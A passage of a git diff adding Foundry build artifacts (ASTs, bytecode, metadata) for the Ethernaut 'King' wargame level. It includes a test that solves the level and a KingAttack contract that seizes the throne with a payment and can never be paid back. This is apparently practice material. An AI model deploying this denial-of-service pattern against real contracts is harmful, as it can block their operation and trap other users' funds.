(address)"}},"id":62289,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1188:68:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62279,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1180:8:137","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":62278,"name":"address","nodeType":"ElementaryTypeName","src":"1180:8:137","stateMutability":"payable","typeDescriptions":{}}},"id":62290,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1180:77:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":62277,"name":"King","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53625,"src":"1175:4:137","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_King_$53625_$","typeString":"type(contract King)"}},"id":62291,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1175:83:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_King_$53625","typeString":"contract King"}},"src":"1164:94:137","typeDescriptions":{"typeIdentifier":"t_contract$_King_$53625","typeString":"contract King"}},"id":62293,"nodeType":"ExpressionStatement","src":"1164:94:137"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":62294,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1268:2:137","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62296,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1271:9:137","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1268:12:137","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":62297,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1268:14:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62298,"nodeType":"ExpressionStatement","src":"1268:14:137"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"708:5:137","parameters":{"id":62199,"nodeType":"ParameterList","parameters":[],"src":"713:2:137"},"returnParameters":{"id":62200,"nodeType":"ParameterList","parameters":[],"src":"723:0:137"},"scope":62362,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":62321,"nodeType":"FunctionDefinition","src":"1541:137:137","nodes":[],"body":{"id":62320,"nodeType":"Block","src":"1568:110:137","nodes":[],"statements":[{"expression":{"arguments":[{"id":62307,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62198,"src":"1592:6:137","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":62304,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1578:2:137","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62306,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1581:10:137","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1578:13:137","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":62308,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1578:21:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62309,"nodeType":"ExpressionStatement","src":"1578:21:137"},{"expression":{"arguments":[{"arguments":[{"id":62312,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62191,"src":"1641:9:137","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":62315,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62194,"src":"1660:8:137","typeDescriptions":{"typeIdentifier":"t_contract$_King_$53625","typeString":"contract King"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_King_$53625","typeString":"contract King"}],"id":62314,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1652:7:137","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62313,"name":"address","nodeType":"ElementaryTypeName","src":"1652:7:137","typeDescriptions":{}}},"id":62316,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1652:17:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":62311,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1621:19:137","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":62317,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1621:49:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":62310,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1609:11:137","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":62318,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1609:62:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62319,"nodeType":"ExpressionStatement","src":"1609:62:137"}]},"documentation":{"id":62301,"nodeType":"StructuredDocumentation","src":"1473:63:137","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1550:8:137","parameters":{"id":62302,"nodeType":"ParameterList","parameters":[],"src":"1558:2:137"},"returnParameters":{"id":62303,"nodeType":"ParameterList","parameters":[],"src":"1568:0:137"},"scope":62362,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":62361,"nodeType":"FunctionDefinition","src":"1733:255:137","nodes":[],"body":{"id":62360,"nodeType":"Block","src":"1761:227:137","nodes":[],"statements":[{"expression":{"arguments":[{"id":62328,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62198,"src":"1785:6:137","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":62325,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1771:2:137","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62327,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1774:10:137","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1771:13:137","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":62329,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1771:21:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62330,"nodeType":"ExpressionStatement","src":"1771:21:137"},{"assignments":[62333],"declarations":[{"constant":false,"id":62333,"mutability":"mutable","name":"attacker","nameLocation":"1814:8:137","nodeType":"VariableDeclaration","scope":62360,"src":"1803:19:137","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_KingAttack_$49594","typeString":"contract KingAttack"},"typeName":{"id":62332,"nodeType":"UserDefinedTypeName","pathNode":{"id":62331,"name":"KingAttack","nameLocations":["1803:10:137"],"nodeType":"IdentifierPath","referencedDeclaration":49594,"src":"1803:10:137"},"referencedDeclaration":49594,"src":"1803:10:137","typeDescriptions":{"typeIdentifier":"t_contract$_KingAttack_$49594","typeString":"contract KingAttack"}},"visibility":"internal"}],"id":62338,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":62336,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1825:14:137","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_KingAttack_$49594_$","typeString":"function () returns (contract KingAttack)"},"typeName":{"id":62335,"nodeType":"UserDefinedTypeName","pathNode":{"id":62334,"name":"KingAttack","nameLocations":["1829:10:137"],"nodeType":"IdentifierPath","referencedDeclaration":49594,"src":"1829:10:137"},"referencedDeclaration":49594,"src":"1829:10:137","typeDescriptions":{"typeIdentifier":"t_contract$_KingAttack_$49594","typeString":"contract KingAttack"}}},"id":62337,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1825:16:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_KingAttack_$49594","typeString":"contract KingAttack"}},"nodeType":"VariableDeclarationStatement","src":"1803:38:137"},{"expression":{"arguments":[{"arguments":[{"id":62346,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62194,"src":"1899:8:137","typeDescriptions":{"typeIdentifier":"t_contract$_King_$53625","typeString":"contract King"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_King_$53625","typeString":"contract King"}],"id":62345,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1891:7:137","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62344,"name":"address","nodeType":"ElementaryTypeName","src":"1891:7:137","typeDescriptions":{}}},"id":62347,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1891:17:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":62339,"name":"attacker","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62333,"src":"1851:8:137","typeDescriptions":{"typeIdentifier":"t_contract$_KingAttack_$49594","typeString":"contract KingAttack"}},"id":62341,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1860:11:137","memberName":"doYourThing","nodeType":"MemberAccess","referencedDeclaration":49593,"src":"1851:20:137","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_address_$returns$__$","typeString":"function (address) payable external"}},"id":62343,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"hexValue":"322e3031","id":62342,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1879:10:137","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_2010000000000000000_by_1","typeString":"int_const 2010000000000000000"},"value":"2.01"}],"src":"1851:39:137","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_address_$returns$__$value","typeString":"function (address) payable external"}},"id":62348,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1851:58:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62349,"nodeType":"ExpressionStatement","src":"1851:58:137"},{"expression":{"arguments":[{"arguments":[{"id":62352,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62191,"src":"1951:9:137","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":62355,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62194,"src":"1970:8:137","typeDescriptions":{"typeIdentifier":"t_contract$_King_$53625","typeString":"contract King"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_King_$53625","typeString":"contract King"}],"id":62354,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1962:7:137","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62353,"name":"address","nodeType":"ElementaryTypeName","src":"1962:7:137","typeDescriptions":{}}},"id":62356,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1962:17:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":62351,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1931:19:137","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":62357,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1931:49:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":62350,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"1920:10:137","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":62358,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1920:61:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62359,"nodeType":"ExpressionStatement","src":"1920:61:137"}]},"documentation":{"id":62322,"nodeType":"StructuredDocumentation","src":"1684:44:137","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1742:9:137","parameters":{"id":62323,"nodeType":"ParameterList","parameters":[],"src":"1751:2:137"},"returnParameters":{"id":62324,"nodeType":"ParameterList","parameters":[],"src":"1761:0:137"},"scope":62362,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":62185,"name":"Test","nameLocations":["400:4:137"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"400:4:137"},"id":62186,"nodeType":"InheritanceSpecifier","src":"400:4:137"},{"baseName":{"id":62187,"name":"Utils","nameLocations":["406:5:137"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"406:5:137"},"id":62188,"nodeType":"InheritanceSpecifier","src":"406:5:137"}],"canonicalName":"TestKing","contractDependencies":[49101,49594,53714,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[62362,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestKing","nameLocation":"388:8:137","scope":62363,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":137} \ No newline at end of file diff --git a/contracts/out/KingAttack.sol/KingAttack.json b/contracts/out/KingAttack.sol/KingAttack.json new file mode 100644 index 000000000..d76d2854e --- /dev/null +++ b/contracts/out/KingAttack.sol/KingAttack.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"doYourThing","inputs":[{"name":"_target","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"payable"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506101078061001d5f395ff3fe608060405260043610601b575f3560e01c8063de98b99214601f575b5f80fd5b602e602a3660046099565b6030565b005b5f8173ffffffffffffffffffffffffffffffffffffffff16346040515f6040518083038185875af1925050503d805f81146084576040519150601f19603f3d011682016040523d82523d5f602084013e6089565b606091505b50509050806095575f80fd5b5050565b5f6020828403121560a8575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff8116811460ca575f80fd5b939250505056fea2646970667358221220bc8ab1747f14347b2d149b6123b0fee20b24a01cb65c14b8bf71dd7842acc21a64736f6c63430008180033","sourceMap":"58:214:49:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610601b575f3560e01c8063de98b99214601f575b5f80fd5b602e602a3660046099565b6030565b005b5f8173ffffffffffffffffffffffffffffffffffffffff16346040515f6040518083038185875af1925050503d805f81146084576040519150601f19603f3d011682016040523d82523d5f602084013e6089565b606091505b50509050806095575f80fd5b5050565b5f6020828403121560a8575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff8116811460ca575f80fd5b939250505056fea2646970667358221220bc8ab1747f14347b2d149b6123b0fee20b24a01cb65c14b8bf71dd7842acc21a64736f6c63430008180033","sourceMap":"58:214:49:-:0;;;;;;;;;;;;;;;;;;;;;84:152;;;;;;:::i;:::-;;:::i;:::-;;;148:11;164:7;:12;;184:9;164:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;147:51;;;213:6;208:21;;221:8;;;208:21;137:99;84:152;:::o;14:309:155:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;181:9;168:23;231:42;224:5;220:54;213:5;210:65;200:93;;289:1;286;279:12;200:93;312:5;14:309;-1:-1:-1;;;14:309:155:o","linkReferences":{}},"methodIdentifiers":{"doYourThing(address)":"de98b992"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_target\",\"type\":\"address\"}],\"name\":\"doYourThing\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/KingAttack.sol\":\"KingAttack\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/attacks/KingAttack.sol\":{\"keccak256\":\"0x81d1d156759cc805d89fda0e7d1ad36d2a04328d2055507a3e8f945b74ac0b13\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://0543146aba0a918517c20467a8bb8251bb4f174c860b3fae14b459463f924bc3\",\"dweb:/ipfs/QmeE9aT5Wr2n1fz1nngMFSSN8exbyvJCWZ2SR7EkpKWe35\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_target","type":"address"}],"stateMutability":"payable","type":"function","name":"doYourThing"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/KingAttack.sol":"KingAttack"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/attacks/KingAttack.sol":{"keccak256":"0x81d1d156759cc805d89fda0e7d1ad36d2a04328d2055507a3e8f945b74ac0b13","urls":["bzz-raw://0543146aba0a918517c20467a8bb8251bb4f174c860b3fae14b459463f924bc3","dweb:/ipfs/QmeE9aT5Wr2n1fz1nngMFSSN8exbyvJCWZ2SR7EkpKWe35"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/KingAttack.sol","id":49595,"exportedSymbols":{"KingAttack":[49594]},"nodeType":"SourceUnit","src":"33:240:49","nodes":[{"id":49571,"nodeType":"PragmaDirective","src":"33:23:49","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49594,"nodeType":"ContractDefinition","src":"58:214:49","nodes":[{"id":49593,"nodeType":"FunctionDefinition","src":"84:152:49","nodes":[],"body":{"id":49592,"nodeType":"Block","src":"137:99:49","nodes":[],"statements":[{"assignments":[49577,null],"declarations":[{"constant":false,"id":49577,"mutability":"mutable","name":"result","nameLocation":"153:6:49","nodeType":"VariableDeclaration","scope":49592,"src":"148:11:49","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":49576,"name":"bool","nodeType":"ElementaryTypeName","src":"148:4:49","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},null],"id":49585,"initialValue":{"arguments":[{"hexValue":"","id":49583,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"195:2:49","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},"value":""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"id":49578,"name":"_target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49573,"src":"164:7:49","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":49579,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"172:4:49","memberName":"call","nodeType":"MemberAccess","src":"164:12:49","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":49582,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"expression":{"id":49580,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"184:3:49","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":49581,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"188:5:49","memberName":"value","nodeType":"MemberAccess","src":"184:9:49","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"src":"164:30:49","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$value","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":49584,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"164:34:49","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"147:51:49"},{"condition":{"id":49587,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"212:7:49","subExpression":{"id":49586,"name":"result","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49577,"src":"213:6:49","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":49591,"nodeType":"IfStatement","src":"208:21:49","trueBody":{"expression":{"arguments":[],"expression":{"argumentTypes":[],"id":49588,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"221:6:49","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$__$returns$__$","typeString":"function () pure"}},"id":49589,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"221:8:49","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49590,"nodeType":"ExpressionStatement","src":"221:8:49"}}]},"functionSelector":"de98b992","implemented":true,"kind":"function","modifiers":[],"name":"doYourThing","nameLocation":"93:11:49","parameters":{"id":49574,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49573,"mutability":"mutable","name":"_target","nameLocation":"113:7:49","nodeType":"VariableDeclaration","scope":49593,"src":"105:15:49","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49572,"name":"address","nodeType":"ElementaryTypeName","src":"105:7:49","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"104:17:49"},"returnParameters":{"id":49575,"nodeType":"ParameterList","parameters":[],"src":"137:0:49"},"scope":49594,"stateMutability":"payable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"KingAttack","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49594],"name":"KingAttack","nameLocation":"67:10:49","scope":49595,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":49} \ No newline at end of file diff --git a/contracts/out/KingFactory.sol/KingFactory.json b/contracts/out/KingFactory.sol/KingFactory.json new file mode 100644 index 000000000..d82afaf7f --- /dev/null +++ b/contracts/out/KingFactory.sol/KingFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"receive","stateMutability":"payable"},{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"insertCoin","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address 